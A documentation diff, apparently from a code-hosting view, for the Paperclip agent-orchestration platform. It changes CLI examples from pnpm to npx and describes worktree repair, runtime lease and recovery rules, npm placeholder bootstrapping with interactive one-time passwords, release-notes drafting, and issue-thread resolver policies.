| `PAPERCLIP_EXECUTION_WORKSPACE_COMPANY_ID` | Company whose board the guest represents. Scopes both the membership check and the readiness probes, so "some company in the clone is fine" cannot pass for the one being opened. |
Protected `/api/health` on a cloned workspace additionally carries a `workspace` block — `state`, `databaseReady`, `cloneDataReady`, `authHandoffReady`, `seedState`, `seedPhase`, `instanceId`, `executionWorkspaceId`, `failurePhase`. Public health stays redacted. Managed runtime start will not publish `running / healthy` unless that block agrees and names this exact instance and workspace, and runtime-service work products are refreshed from the live runtime row so a port change cannot leave a stale user-facing URL.
The workspace UI surfaces `Provisioning database`, `Validating clone`, `Ready`, `Degraded`, `Repairing`, and `Repair failed`, each with one safe action (open, start, repair, or read the log).
### Worktree CLI Reference
**`pnpm paperclipai worktree init [options]`** — Create repo-local config/env and an isolated instance for the current worktree.
**`npx paperclipai worktree init [options]`** — Create repo-local config/env and an isolated instance for the current worktree.
| Option | Description |
|---|---|
@@ -537,7 +581,7 @@ Repair an already-created repo-managed worktree and reseed its isolated instance
```sh
cd /path/to/paperclip/.paperclip/worktrees/PAP-884-ai-commits-component
pnpm exec paperclipai worktree init --force --seed-mode minimal \
npx paperclipai worktree init --force --seed-mode minimal \
--name PAP-884-ai-commits-component \
--from-config ~/.paperclip/instances/default/config.json
```
@@ -546,7 +590,7 @@ That rewrites the worktree-local `.paperclip/config.json` + `.paperclip/.env`, r
For an already-created worktree where you want the CLI to decide whether to rebuild missing worktree metadata or just reseed the isolated DB, use `worktree repair`.
**`pnpm paperclipai worktree repair [options]`** — Repair the current linked worktree by default, or create/repair a named linked worktree under `.paperclip/worktrees/` when `--branch` is provided. The command never targets the primary checkout unless you explicitly pass `--branch`.
**`npx paperclipai worktree repair [options]`** — Repair the current linked worktree by default, or create/repair a named linked worktree under `.paperclip/worktrees/` when `--branch` is provided. The command never targets the primary checkout unless you explicitly pass `--branch`.
| Option | Description |
|---|---|
@@ -567,13 +611,14 @@ cd /path/to/paperclip/.paperclip/worktrees/PAP-1132-assistant-ui-pap-1131-make-i
pnpm paperclipai worktree repair
# From the primary checkout, create or repair a linked worktree for a branch under .paperclip/worktrees/.
# This command repairs the local checkout, so run the checked-out CLI through the direct-exec form.
cd /path/to/paperclip
pnpm paperclipai worktree repair --branch PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts worktree repair --branch PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
```
For an already-created worktree where you want to keep the existing repo-local config/env and only overwrite the isolated database, use `worktree reseed` instead. Stop the target worktree's Paperclip server first so the command can replace the DB safely.
**`pnpm paperclipai worktree reseed [options]`** — Re-seed an existing worktree-local instance from another Paperclip instance or worktree while preserving the target worktree's current config, ports, and instance identity.
**`npx paperclipai worktree reseed [options]`** — Re-seed an existing worktree-local instance from another Paperclip instance or worktree while preserving the target worktree's current config, ports, and instance identity.
| Option | Description |
|---|---|
@@ -585,13 +630,14 @@ For an already-created worktree where you want to keep the existing repo-local c
| `--seed-mode <mode>` | Seed profile: `minimal` or `full` (default: `full`) |
| `--yes` | Skip the destructive confirmation prompt |
| `--allow-live-target` | Override the guard that requires the target worktree DB to be stopped first |
| `--backup-target` | Retain a recoverable full target-DB backup before reseeding |
Examples:
```sh
# From the main repo, reseed a worktree from the current default/master instance.
cd /path/to/paperclip
pnpm paperclipai worktree reseed \
npx paperclipai worktree reseed \
--from current \
--to PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat \
--seed-mode full \
@@ -599,12 +645,14 @@ pnpm paperclipai worktree reseed \
# From inside a worktree, reseed it from the default instance config.
cd /path/to/paperclip/.paperclip/worktrees/PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
pnpm paperclipai worktree reseed \
npx paperclipai worktree reseed \
--from-instance default \
--seed-mode full
```
**`pnpm paperclipai worktree:make <name> [options]`** — Create `~/NAME` as a git worktree, then initialize an isolated Paperclip instance inside it. This combines `git worktree add` with `worktree init` in a single step.
Managed workspace repair uses this same verified full-reseed contract through `POST /api/execution-workspaces/:id/runtime-commands/repair`. The exclusive, audited operation stops managed services, writes a recoverable pre-repair database backup under the isolated instance's backup directory, performs the full seed/migration/quarantine/rebinding sequence, and restarts only after terminal manifest and service-health validation. It preserves the worktree filesystem. On failure, services remain stopped while the database backup, seed manifest, bounded phase diagnostics, and operation log are retained for inspection; repair never retries itself in a loop.
**`npx paperclipai worktree:make <name> [options]`** — Create `~/NAME` as a git worktree, then initialize an isolated Paperclip instance inside it. This combines `git worktree add` with `worktree init` in a single step.
| Option | Description |
|---|---|
@@ -623,12 +671,12 @@ pnpm paperclipai worktree reseed \
Examples:
```sh
pnpm paperclipai worktree:make paperclip-pr-432
pnpm paperclipai worktree:make my-feature --start-point origin/main
pnpm paperclipai worktree:make experiment --no-seed
npx paperclipai worktree:make paperclip-pr-432
npx paperclipai worktree:make my-feature --start-point origin/main
npx paperclipai worktree:make experiment --no-seed
```
**`pnpm paperclipai worktree env [options]`** — Print shell exports for the current worktree-local Paperclip instance.
**`npx paperclipai worktree env [options]`** — Print shell exports for the current worktree-local Paperclip instance.
| Option | Description |
|---|---|
@@ -640,13 +688,36 @@ Examples:
```sh
pnpm paperclipai worktree env
pnpm paperclipai worktree env --json
eval "$(pnpm paperclipai worktree env)"
eval "$(npx paperclipai worktree env)"
```
For project execution worktrees, Paperclip can also run a project-defined provision command after it creates or reuses an isolated git worktree. Configure this on the project's execution workspace policy (`workspaceStrategy.provisionCommand`). The command runs inside the derived worktree and receives `PAPERCLIP_WORKSPACE_*`, `PAPERCLIP_PROJECT_ID`, `PAPERCLIP_AGENT_ID`, and `PAPERCLIP_ISSUE_*` environment variables so each repo can bootstrap itself however it wants.
An issue can pin its isolated worktree to an exact pre-existing branch instead of a template-derived one — the contract PR-preparation tasks use. Set the issue's `executionWorkspaceSettings` to `{ "mode": "isolated_workspace", "workspaceStrategy": { "type": "git_worktree", "existingBranch": "<branch>" } }`. The validator requires isolated mode plus a `git_worktree` strategy and rejects `branchTemplate` alongside `existingBranch`. At dispatch the runtime attaches (never creates, renames, fast-forwards, or resets) that branch: it reuses a registered worktree that already has the branch checked out (including legacy `.worktrees/` paths), otherwise it attaches the branch under the managed worktree parent. A missing branch, an occupied worktree path on another branch, or a non-worktree strategy fails closed with a `workspace_validation_failed` error instead of falling back to the shared checkout or a derived branch, and an inherited `reuse_existing` workspace binding on a different branch is ignored in favor of realizing the pinned branch.
Heavier setup that is only needed by a managed runtime service can use `workspaceStrategy.runtimeProvisionCommand`. Paperclip runs this command lazily before spawning the first service in a start batch, serializes concurrent provisioning for the same workspace, and records the attempt as `workspace_runtime_provision`. The command receives the same workspace environment as `provisionCommand` and should be idempotent because later service-start batches invoke it again.
Managed runtime control actions (`start`, `stop`, `restart`, and job `run`) are mutually exclusive per execution workspace. An overlapping control is rejected with `409 workspace_runtime_control_in_progress` instead of racing the active operation, and authorization is still checked first, so the conflict never widens who may control a workspace.
Local managed runtime services write stdout and stderr directly to append-only
files under the instance's `runtime-service-logs/` directory. The child inherits
the file descriptors rather than supervisor-owned pipes, so request-logging
servers remain responsive and adoptable when the control plane restarts.
Every managed control reaches a terminal operation state. Each one stamps the owning server process and pid on its `workspace_operations` row and heartbeats while it runs, and each one carries a wall-clock ceiling (30 minutes for lifecycle controls, 4 hours for workspace jobs) so a hung provider or listener fails the operation rather than leaving it active. When a start fails part-way, Paperclip tears the workspace's runtime services down through the ordinary stop path and records a stopped desired state, so the lane is retryable and a startup reconcile will not resurrect a service that never came up.
Recovery of stranded controls is bounded and cannot steal a live operation. A `running` control is only terminalized when its owning process is gone, when the owning request in this process no longer exists, or after 60 seconds without a heartbeat; the terminalizing write is a compare-and-swap on `updated_at`, so an owner that heartbeats concurrently keeps its operation. Recovery runs on server startup and before each managed control, appends reconciliation evidence to the workspace-operation log, and stays inside the requested workspace's scope.
Readiness probes and port allocation are bounded for the same reason. Each HTTP readiness probe is aborted after at most 5 seconds (never past the service's readiness budget), so a foreign listener that accepts a connection but never answers cannot park a start forever. Auto-allocated loopback ports are reserved in-process for the duration of a start and re-checked for a live owner, and a configured port already claimed by another in-flight start fails that start terminally — so two isolated workspaces asking for the same app/HMR pair either get distinct healthy ports or one fails cleanly and retryably.
Beyond that in-flight guard, `start`, `stop`, and `restart` also take a durable exclusivity lease on the execution workspace (`execution_workspace_runtime_leases`). The lease is keyed by execution workspace and owned by the controlling issue (or, when a run has no issue in scope, by the run or agent), so it survives across calls, heartbeats, and server processes. The owning issue can keep operating; a different issue or run is rejected with `409 workspace_runtime_lease_conflict` before any workspace operation is recorded and before any runtime service is touched. Board/operator actions bypass the lease entirely and never take the lane away from an agent.
Lease recovery is bounded and explicit. Another issue may reclaim the lane once the owner becomes ineligible — the owning issue reaches a terminal status, is hidden, or is deleted; the owning run reaches a terminal status — or once the lease's 30-minute TTL elapses without the owner touching it. Archiving the execution workspace releases the lease outright. Conflict responses carry the owning issue/run ids and the lease expiry so an operator can tell who holds the lane.
For Tailscale HTTPS exposure, readiness includes stable listener-ownership checks for every requested loopback port (the app and, when configured, its Vite HMR companion). Each listener must belong to the spawned managed process group; an unrelated listener that races onto either reserved port fails the start closed before the broker is asked to expose it.
In Vite middleware mode, Paperclip gives HMR a dedicated HTTP server bound to the managed runtime's loopback host. The browser still derives the HMR hostname from the public HTTPS page, so listener containment does not break remote hot reload.
## App-Shipped Skills Catalog
The Paperclip app ships a curated catalog of company skills out of the box. The
@@ -802,6 +873,12 @@ Environment overrides:
stale-backup warning threshold
- `PAPERCLIP_DB_BACKUP_ALERT_FILE=/path/to/failure-marker` lets external cron
wrappers surface the last failed backup in `/api/health`
- `PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS=<days>` sets how long the
terminal-workspace reaper waits after an issue tree becomes terminal before it
archives the execution workspace and deletes the worktree. A person can reopen
the work inside this window. The default is `7`. A value of `0` disables the
cooldown and restores immediate reaping. A negative or non-numeric value falls
back to the default.
Without `PAPERCLIP_DB_BACKUP_ALERT_FILE`, health checks look for
`db-backup-to-s3.failure` in the backup directory, beside the backup directory,
@@ -869,15 +946,15 @@ Paperclip CLI now includes client-side control-plane commands in addition to set
Quick examples:
```sh
pnpm exec paperclipai issue list --company-id <company-id>
pnpm exec paperclipai issue create --company-id <company-id> --title "Investigate checkout conflict"
pnpm exec paperclipai issue update <issue-id> --status in_progress --comment "Started triage"
npx paperclipai issue list --company-id <company-id>
npx paperclipai issue create --company-id <company-id> --title "Investigate checkout conflict"
npx paperclipai issue update <issue-id> --status in_progress --comment "Started triage"
```
Set defaults once with context profiles:
```sh
pnpm exec paperclipai context set --api-base http://localhost:3100 --company-id <company-id>
npx paperclipai context set --api-base http://localhost:3100 --company-id <company-id>
```
Then run commands without repeating flags:
@@ -961,4 +1038,4 @@ Networking behavior for this smoke script:
- auto-detects and prints a Paperclip host URL reachable from inside OpenClaw Docker
- default container-side host alias is `host.docker.internal` (override with `PAPERCLIP_HOST_FROM_CONTAINER` / `PAPERCLIP_HOST_PORT`)
- if Paperclip rejects container hostnames in authenticated/private mode, allow `host.docker.internal` via `pnpm exec paperclipai allowed-hostname host.docker.internal` and restart Paperclip
- if Paperclip rejects container hostnames in authenticated/private mode, allow `host.docker.internal` via `npx paperclipai allowed-hostname host.docker.internal` and restart Paperclip
+7 -7
View File
@@ -79,9 +79,9 @@ The UI prompt points Hermes at the same machine-readable onboarding endpoints:
For CLI-driven setup, create and inspect the invite directly:
```sh
pnpm exec paperclipai invite create --company-id <company-id> --payload-json '{"requestType":"agent"}'
pnpm exec paperclipai invite show <token>
pnpm exec paperclipai invite onboarding:text <token>
npx paperclipai invite create --company-id <company-id> --payload-json '{"requestType":"agent"}'
npx paperclipai invite show <token>
npx paperclipai invite onboarding:text <token>
```
Hermes should submit a join request with `requestType: "agent"` and
@@ -119,14 +119,14 @@ After Hermes submits the join request:
2. Approve it from the board UI, or use:
```sh
pnpm exec paperclipai join list --company-id <company-id> --status pending_approval
pnpm exec paperclipai join approve <request-id> --company-id <company-id>
npx paperclipai join list --company-id <company-id> --status pending_approval
npx paperclipai join approve <request-id> --company-id <company-id>
```
3. Hermes claims the one-time agent API key:
```sh
pnpm exec paperclipai join claim-key <request-id> --claim-secret <secret>
npx paperclipai join claim-key <request-id> --claim-secret <secret>
```
4. Store the claimed Paperclip key in Hermes runtime state or secrets. The claim
@@ -182,7 +182,7 @@ Use these entry points depending on who is driving setup:
onboarding prompt.
- Invite API: `GET /api/invites/:token/onboarding.txt` for the generated
llm.txt-style setup instructions.
- CLI invite flow: `pnpm exec paperclipai invite create`, `invite show`,
- CLI invite flow: `npx paperclipai invite create`, `invite show`,
`invite onboarding:text`, `join approve`, and `join claim-key`.
- Smoke helpers: `pnpm smoke:hermes-gateway-e2e` for fresh-state Docker
verification and `pnpm smoke:hermes-gateway-join` for an already-running
+7 -1
View File
@@ -23,7 +23,7 @@ bash install.sh
The bootstrap script:
1. verifies that the platform is supported;
2. ensures Node.js 20 or newer is available;
2. ensures Node.js 24.11 or newer is available;
3. delegates installation to `paperclipai install`;
4. starts interactive onboarding when stdin and stdout are terminals.
@@ -241,6 +241,12 @@ paperclipai service status
presence and drift, running state, configured port ownership, and the running
server version.
The CLI and server also print a non-blocking startup warning when Node.js is
below the supported minimum. Upgrade Node.js with a version manager or follow
the downloaded `install.sh` workflow under **Recommended Install**. Do not use
the piped form for this repair because it requires a supported Node.js runtime
before it starts.
## Uninstall
Remove the background service and managed CLI payloads:
+29 -17
View File
@@ -184,53 +184,65 @@ CI publishing is controlled by [`scripts/release-package-manifest.json`](../scri
When you add a new public package:
1. add it to the manifest and decide whether CI should publish it immediately
2. if CI should publish it, bootstrap the package on npm before merge
2. if CI should publish it, reserve the name on npm with the placeholder bootstrap before merge
3. if CI should not publish it yet, keep `"publishFromCi": false`
4. only enable `"publishFromCi": true` after npm trusted publishing is configured for that package
PR CI now checks changed release-enabled package manifests against npm. That catches a missing first-publish bootstrap before the change reaches `master`.
PR CI now checks changed release-enabled package manifests against npm. That catches a missing first-publish bootstrap before the change reaches `master`. When a PR needs this bootstrap, commitperclip also posts an informational notice on the PR naming the exact command, so contributors know a maintainer action is pending rather than something they can fix.
### One-time bootstrap sequence for a new package
The first publish of a brand-new package still needs one human maintainer with npm write access.
After that, trusted publishing can take over.
Creating a brand-new package name on npm still needs one human maintainer with npm write access.
After that, trusted publishing takes over — and CI publishes the only real content the package ever gets.
The bootstrap intentionally does **not** publish the package's real build output.
It publishes a tiny placeholder at version `0.0.0` (a manifest, a README, and an
`index.js` that throws a descriptive error), because:
- real package content should only ever reach npm from CI, after the PR that adds the package has been reviewed and merged
- the PR CI gate only requires the name to resolve on the registry
- the trusted publisher rule can only be configured once the package page exists
- the placeholder needs no local build and no workspace state, so it can be published from any checkout (including `master`, before the new package's PR merges)
Example for a newly added public package from the repo root:
```bash
# safe preview
# safe preview (stages the placeholder and runs npm publish --dry-run)
pnpm run release:bootstrap-package -- @paperclipai/new-package
# one-time first publish from an authenticated maintainer machine
pnpm run release:bootstrap-package -- @paperclipai/new-package --publish --otp 123456
# one-time placeholder publish from an authenticated maintainer machine
# (prompts for npm one-time passwords; they are never passed as arguments)
pnpm run release:bootstrap-package -- @paperclipai/new-package --publish
```
The helper script:
- refuses names outside the `@paperclipai/` scope
- checks that the package does not already exist on npm
- builds the target package unless `--skip-build` is passed
- runs `pnpm publish <package-dir> --dry-run --no-git-checks --access public` from the repo root
- only runs the real `pnpm publish <package-dir> --no-git-checks --access public` when `--publish --otp <code>` is provided
- stages the placeholder in a temporary directory and previews it with `npm publish --dry-run --access public`
- with `--publish`, prompts for a one-time password and publishes. Codes are entered interactively and handed to npm through its environment (`npm_config_otp`), so they never appear on a command line, in shell history, or in a process listing; a rejected or expired code re-prompts
- then waits for the registry to show the package (a first publish can take a few minutes to become visible on the read/write endpoints) and prompts for a second code to deprecate the placeholder, so accidental installs warn loudly. If the wait times out or the deprecation fails, it prints the exact `npm deprecate` command to run manually
The helper intentionally uses `pnpm publish` instead of `npm publish` so workspace
dependencies and `publishConfig` export fields are normalized before the package
is sent to the registry.
Until the first stable release supersedes it, the `latest` dist-tag points at the
deprecated placeholder. Internal consumers are unaffected: release version
rewrites pin exact calver versions, so nothing inside the release package set
resolves through `latest`.
For the real `--publish` step, the maintainer machine must already be authenticated to npm.
If `npm whoami` returns `401`, first run `npm logout --registry=https://registry.npmjs.org/` to clear any stale local auth, then run `npm login` or `npm adduser` locally as an npm org member, and finally rerun the helper.
That local human auth is fine for the one-time bootstrap publish; we just do not want the same auth model inside CI.
The helper now requires `--otp <code>` up front for `--publish`, so it fails before the real publish attempt if the one-time password is missing.
`--publish` requires an interactive terminal: the helper prompts for the one-time password right before the publish and again before the deprecation, handing each code to npm through its environment (`npm_config_otp`), so codes never appear in command arguments, shell history, or process listings.
After that first publish succeeds:
After the placeholder publish succeeds:
1. open `https://www.npmjs.com/package/@paperclipai/new-package`
2. go to `Settings` → `Trusted publishing`
3. add repository `paperclipai/paperclip`
4. set workflow filename to `release.yml`
5. optionally go to `Settings` → `Publishing access` and enable `Require two-factor authentication and disallow tokens`
6. keep `publishFromCi: true` in [`scripts/release-package-manifest.json`](../scripts/release-package-manifest.json)
6. only then set `"publishFromCi": true` in [`scripts/release-package-manifest.json`](../scripts/release-package-manifest.json)
Once those steps are done, future canary and stable publishes for that package are automated through GitHub OIDC. The manual step is only the first package creation on npm.
Once those steps are done, future canary and stable publishes for that package are automated through GitHub OIDC. The manual step only reserves the name on npm; every real version ships from CI.
## Rollback model
+13 -2
View File
@@ -36,6 +36,11 @@ Happy path:
- [ ] `npm view paperclipai@beta version` shows the new `-beta.N`
- [ ] `beta/v*` tag pushed; `:beta` and `:beta-cloud` images built
- [ ] post-publish smoke (`smoke_beta`) is green
- [ ] `draft_stable_notes` pushed `release-notes/v<beta-version>`; open the
notes PR from the job-summary link
- [ ] during the soak: edit the notes PR into release voice and merge it
(the stable promotion reads `releases/beta/v<beta-version>.md` from
`master`)
Fix path (cherry-picked candidate):
@@ -50,7 +55,8 @@ Fix path (cherry-picked candidate):
- [ ] pick the beta to promote; its source commit is `source_ref`
- [ ] the beta has soaked ≥ 3 days with no open beta-blocker issues
- [ ] author `releases/vYYYY.MDD.P.md` on that source ref
- [ ] the beta's notes PR (`releases/beta/v<beta-version>.md`) is merged on
`master` — preflight fails, before the approval gate, without it
- [ ] dispatch `release.yml` with `channel: stable` (a dry run first shows
the resolved version and soak state without publishing)
- [ ] approve the `npm-stable` environment gate
@@ -59,10 +65,15 @@ Fix path (cherry-picked candidate):
versioned Docker tags built
- [ ] if the soak gate was bypassed, `skip_soak_justification` carries a
real written reason (it lands in the job summary)
- [ ] open and merge the canonicalization PR
(`release-notes/v<version>-canonicalize`) so the notes land at
`releases/vYYYY.MDD.P.md`
Fix path: `candidate/release-<target>` from the beta's source commit; the
soak gate will demand a justification because the exact bits were not
soaked — write one that stands on its own.
soaked — write one that stands on its own. A candidate branch carries its
own `releases/vYYYY.MDD.P.md` (preflight prefers source-tree notes), so
author the notes as a commit on the candidate.
## After any incomplete run
+37 -4
View File
@@ -10,7 +10,10 @@ The release model is now commit-driven:
3. Betas are manual, human-approved promotions of a chosen nightly.
4. Stable releases promote a beta that has soaked for at least 3 days
(bypass requires a written justification).
5. Stable release notes live in `releases/vYYYY.MDD.P.md`.
5. Stable release notes live in `releases/vYYYY.MDD.P.md`. They are
drafted automatically when a beta is published (as
`releases/beta/v<beta-version>.md` on `master`), edited during the
soak, and moved to the versioned name after the stable ships.
6. Only stable releases get GitHub Releases.
The user-facing guide to the channels is [`CHANNELS.md`](CHANNELS.md).
@@ -71,7 +74,12 @@ internal traceability tag.
shipped as a beta at least 3 days earlier unless a written justification
is provided
- tags point at the original source commit, not a generated release commit
- stable notes are always `releases/vYYYY.MDD.P.md`
- stable notes are always `releases/vYYYY.MDD.P.md` in the end state: a
promoted beta's notes are drafted and edited at
`releases/beta/v<beta-version>.md` on `master` during the soak (the
promoted commit cannot carry a file named for a promotion date that was
unknown when it was created), and a post-stable canonicalization PR
moves them to the versioned name
- canaries, nightlies, and betas never create GitHub Releases
- canaries, nightlies, and betas never require changelog generation
- Docker `:latest` moves only on stable releases; master builds publish
@@ -157,6 +165,13 @@ Betas are manual promotions. Dispatch
dispatched at that tag to publish the `:beta` images
- after publishing, the release smoke suite runs against the exact published
beta version as verification
- a `draft_stable_notes` job also generates the eventual stable's notes
skeleton — `releases/beta/v<beta-version>.md`, grouped from
`git log <last-stable-tag>..<source-commit>` — and force-pushes it to the
machine-owned `release-notes/v<beta-version>` branch. Open the PR from
the job-summary link (a human opens it so CI runs) and edit the notes
during the soak; the stable promotion reads the merged file from
`master`
- `dry_run: true` previews the publish and skips the tag push, Docker
dispatch, and post-publish smoke
@@ -228,7 +243,11 @@ Before running stable:
1. pick the beta you are promoting (its source commit is the `source_ref`)
2. confirm the beta has soaked for 3 days with no open blockers
3. resolve the target stable version with `./scripts/release.sh stable --date "$(date +%F)" --print-version`
4. create or update `releases/vYYYY.MDD.P.md` on that source ref
4. make sure the notes PR from the beta's draft branch
(`release-notes/v<beta-version>`, adding
`releases/beta/v<beta-version>.md`) is merged on `master` — or, for
candidate builds, that the candidate branch itself carries
`releases/vYYYY.MDD.P.md`
5. run the stable workflow from that source ref
Example:
@@ -241,11 +260,19 @@ The workflow:
- re-verifies the exact source ref
- computes the next stable patch slot for the chosen UTC date
- resolves the release notes in preflight: `releases/vYYYY.MDD.P.md` at
the source commit (the candidate fix path) takes precedence, otherwise
`releases/beta/v<beta-version>.md` on `master` (a promoted beta). When
neither exists the run fails before the `npm-stable` approval gate with
the missing path named
- publishes `YYYY.MDD.P` under npm dist-tag `latest`
- creates git tag `vYYYY.MDD.P`
- dispatches [`docker.yml`](../.github/workflows/docker.yml) at that tag to
publish `:latest` and the versioned stable images
- creates or updates the GitHub Release from `releases/vYYYY.MDD.P.md`
- creates or updates the GitHub Release from the resolved notes file
- for master-side beta notes, pushes a `release-notes/v<version>-canonicalize`
branch that `git mv`s them to `releases/vYYYY.MDD.P.md` — open and merge
its PR to restore the canonical layout
## Docker Image Tags
@@ -314,6 +341,12 @@ Stable changelog files live at:
Canaries do not get changelog files.
The `draft_stable_notes` job seeds a deterministic skeleton (grouped
commit subjects) on the `release-notes/v<beta-version>` branch at beta
publish; the flows below turn that skeleton into narrative release notes
during the soak. Run them against the draft branch's
`releases/beta/v<beta-version>.md` and push to the notes PR.
Recommended local generation flow:
```bash
+95 -24
View File
@@ -37,7 +37,7 @@ These decisions close open questions from `SPEC.md` for V1.
| Visibility | Company-scoped visibility: board + all in-company agents can see all work objects by default; public/private deployment flags affect external exposure only and do **not** imply project/issue privacy |
| Communication | Tasks + comments only (no separate chat system) |
| Task ownership | Single assignee; atomic checkout required for `in_progress` transition |
| Task watchdogs | A task watchdog is an explicitly configured, issue-subtree-scoped verification and recovery capacity. It may restore live task paths inside the watched subtree and resolve only eligible task-level plan confirmations; it is not board authority, active-run output monitoring, or general liveness recovery. |
| Task watchdogs | A task watchdog is an explicitly configured, issue-subtree-scoped verification and recovery capacity. It may restore live task paths inside the watched subtree; for issue-thread interaction resolution it is an ordinary agent subject to the same audience and containment checks, not board authority, active-run output monitoring, or general liveness recovery. |
| Recovery | Liveness/watchdog recovery preserves explicit ownership: retry lost execution continuity where safe, otherwise open visible source-scoped recovery actions by default, use issue-backed recovery only for independent repair work, or require human escalation (see `doc/execution-semantics.md`) |
| Agent adapters | Built-in `process`, `http`, local CLI/session adapters, and OpenClaw gateway support; external adapters can also be loaded through the adapter plugin flow |
| Plugin framework | Local/self-hosted early plugin runtime is in scope; cloud marketplace and packaged public distribution remain out of scope |
@@ -258,6 +258,10 @@ Invariants:
- single assignee only
- task must trace to company goal chain via `goal_id`, `parent_id`, or project-goal linkage
- `in_progress` requires assignee
- an `in_review -> done | cancelled` verdict is authorized against the current review policy while the issue row is locked; a policy change in the same request or a concurrent request cannot relax that verdict gate
- accepting or rejecting the review-confirmation interaction locks the issue row before resolving the interaction and reauthorizes against the current review policy in that transaction
- while a restrictive review policy is stored, changing it requires an actor who is allowed by that row-locked policy
- the transition into `in_review` and its requester activity record commit atomically, including transitions without an explicit review-interaction binding
- terminal states: `done | cancelled`
## 7.7 `issue_comments`
@@ -506,9 +510,15 @@ V1 non-terminal liveness rule:
- external waits are durable only when persisted as a bounded monitor/scheduled wake, a first-class blocker with a named owner and action, or healthy delegated child work connected by a blocker edge when the source must wait; parent/child structure alone is not a wait path
- unmanaged shell jobs, detached sessions, adapter child processes, local polling loops, PIDs, logs, and comments are evidence rather than liveness; a managed runtime service counts only when paired with a persisted monitor, wake, blocker, or delegated issue that owns the next check
- heartbeat finalization evaluates liveness from persisted Paperclip state; an issue cannot remain healthy `in_progress` solely because the exiting heartbeat started a local/background watcher
- invalid external-wait recovery queues at most one normal-model continuation per source-state fingerprint, then requires a real blocker or explicit recovery action instead of repeating equivalent recovery wakes; new durable source activity may establish a new fingerprint
- a continuation cancelled as `issue_continuation_waiting_on_review` first converts a current typed wait target into a first-class wait; without a current target it is classified as `deliberate_wait_without_target` and gives the invokable original owner five normal-model disposition-repair attempts (immediate, then after 60, 120, 240, and 480 seconds, with up to 10 percent jitter)
- disposition repair revalidates blockers, children, interactions, approvals, monitors, execution stages, queued wakes, active runs, work products, owner invokability, budgets, and governance before every attempt; the attempt bound is keyed by durable source state, so comments or equivalent parked prose do not reset it while durable source-state changes may establish a new fingerprint
- backwards-compatible upgrades count consecutive historical `issue_continuation_waiting_on_review` cancellations for the unchanged accepted-interaction source state against the same five-attempt disposition-repair ceiling; missing pre-upgrade recovery-action rows do not reset the budget
- the source fingerprint, source-attempt count, next due time, source owner, and return owner persist in the recovery action; startup and periodic reconciliation resume that exact lineage without duplicate wakes, fold it when a current typed wait appears, and reschedule or escalate an expired action that has no live scheduled run
- source-attempt exhaustion opens one source-scoped manager recovery action without changing the source assignee; manager runs get five separate persisted attempts on the same immediate, 60, 120, 240, and 480 second bounded-delay schedule, then escalate visibly to the board when exhausted
- an active recovery action counts as a live source or blocker-chain path only while its owner has a live run, queued wake, scheduled retry, typed wait, or explicit board escalation; source and blocker projections consume the same nested recovery-path result
- when Paperclip cannot safely infer the next action, it surfaces the problem through visible blocked/recovery work instead of silently completing or reassigning work
- explicit recovery actions are the liveness primitive; source-scoped actions are the default form, issue-backed recovery is a fallback for independent repair work or safety boundaries, and comments alone are evidence rather than a healthy liveness path
- recovery-action ownership is separate from source-task ownership: automatic repair and manager escalation preserve the source `assigneeAgentId`; reassignment requires an explicit decision or a policy-defined serious failure
- source-scoped recovery routing is cause-keyed: lost processes, missing successful-run dispositions, and output-inactivity terminations retry the original agent when invokable; provider-quota failures create/reuse a scheduled wait-recovery monitor without a takeover wake; workspace validation and unknown causes route to the manager ladder
- recovery-scoped wakes replace the normal deliverable execution contract with a cause-specific recovery contract, and successful repair returns the issue to the recorded original owner by default while recording `handed_back` versus `owner_completed`
@@ -580,10 +590,11 @@ may wake the target assignee, including an explicit `resume: true` comment on a
the normal agent rewake throttle; comment presentation cannot give it human
wake privileges. Agent issue comments and updates require a persisted heartbeat
run bound to the authenticated agent and company; missing, invalid, or mismatched
run context fails closed before mutation. A run may attempt at most 20 cross-issue comments or issue
updates across the shared counter. The server records each attempt with its
source issue, target issue, run, count, and rollout mode, and fails closed with
the cap in the error once enforcement is active. Assignee self-comments do not
run context fails closed before mutation. A run may attempt at most 20 cross-issue comments, issue
updates, or issue-thread interaction resolutions across one shared counter. The
server records each attempt with its source issue, target issue, run, count, and
rollout mode, and fails closed with the cap in the error once enforcement is
active. Writes to the run's own source issue are not counted. Assignee self-comments do not
wake the assignee, and a non-assignee comment cannot mint a mention grant.
Agent-authored issue comments persist the responsible user derived from the
@@ -656,6 +667,66 @@ approval is created. The legacy fields `protectedAgent.requiresApproval` and
aliases for the same hard block, but API denial copy must describe the block and
administrator remediation rather than promising a nonexistent approval step.
### 9.8.1 Issue-thread interaction resolver contract
Issue-thread interactions are coordination records, not grants of authority. Every
interaction kind defaults to resolver policy `anyone` when the create request omits
`resolverPolicy`. Restrictions are opt-in.
Canonical resolver policies are:
- `anyone`: any authenticated actor in the interaction's company who can read the
issue and use the normal resolution route. For agents this includes the creator
agent and the creating/source run.
- `not_creator`: the explicit independent-review policy. It excludes the creator
agent and creating/source run while otherwise using the ordinary agent resolver
path.
- `human_only`: only an authorized human/board actor may resolve the interaction.
`board_or_agents` and `board_only` are deprecated migration and API-input aliases.
For new writes they normalize to `anyone` and `human_only`, respectively. API reads
return canonical requested/effective policies, compatibility aliases, and immutable
provenance. The persisted provenance is `explicit`, `inherited`, or
`legacy_inherited_restriction`; the effective-policy source is `requested`,
`company_cap`, or `governed_action`.
Historical rows predate explicit-vs-inherited provenance. Migration must never
silently widen an ambiguous pending card: legacy `board_or_agents` rows retain the
old creator-excluding behavior as canonical `not_creator`, legacy `board_only` rows
become `human_only`, and both are marked `legacy_inherited_restriction`. Resolved
outcomes and resolver attribution are immutable.
An explicit named addressee and a company-configured cap may narrow the effective
audience. A cap never widens the requested audience. Tool-action confirmations and
other hard-governed action cards remain `human_only` (or move to the formal approval
system) regardless of a requested open audience.
Surfaces that offer a resolution must state the effective audience before the
operator acts, from server metadata rather than a client-side policy inference.
Issue-thread cards read it from the interaction snapshot; attention rows read it
from the feed item's `resolverAudience` (canonical requested/effective policy,
effective-policy source, provenance, and the addressee/creator identities the
evaluator compares against), because a collapsed row carries decision verbs
before the interaction itself is fetched. A failed resolution keeps the server's
denial reason in visible, assertively announced feedback and names who may
respond; an audience denial is permanent, so it must not degrade to a retry
